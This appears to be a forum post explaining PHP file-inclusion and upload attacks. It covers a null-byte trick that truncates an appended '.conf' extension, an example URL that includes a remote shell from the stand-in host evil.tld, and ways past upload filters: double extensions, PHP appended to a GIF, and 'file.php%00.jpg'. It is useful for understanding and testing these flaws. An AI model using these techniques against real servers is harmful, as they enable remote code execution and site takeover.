The null-byte trick will only work if nullbytes are not filtered from the input. The reason why a nullbyte is used, is because an include or require function is often made somewhat like this:
$config = $_GET['config']. ".conf"; require_once($config);
In this case, the ?config parameter / argument is most likely vulnerable unless there's a "catch-all" GET-request function sanitizing them all.
As you want to include a php file, which the target server should be able to read and parse, you should add a %00 byte which there are some variations of.
If the parameter is like this: ?config=http://evil.tld/shell.txt
The actual $config variable will become:
http://evil.tld/shell.txt.conf, but by adding a %00 byte (?config=http://evil.tld/shell.txt%00) the webserver will stop reading the input after the null-byte and the $config variable will automatically be
http://evil.tld/shell.txt as the rest is stripped away this one time.
In case of file upload forms, files named like: file.jpg.php is often enough. At least it was, but nowadays it is only the most poorly secured sites that enable this attack, meaning you may have to add an actual file header in case the file is processed and needs to actually be an image.
In this case, you can take any gif file, and append your PHP data to it and then upload it. The image should still be valid even if it's processed. If it's resized however, the php data may be lost.
It could theoretically also be possible to name the file file.php%00.jpg, however it may not work depending on how the file is read, but also how your client sends the data. (The client may sanitize the % sign as well.)
Even though I haven't said much than what Seen and alan said, I thought I'd say it anyway in my own words
Tools : Symbolic Exploit Assistant project is looking for collaborators
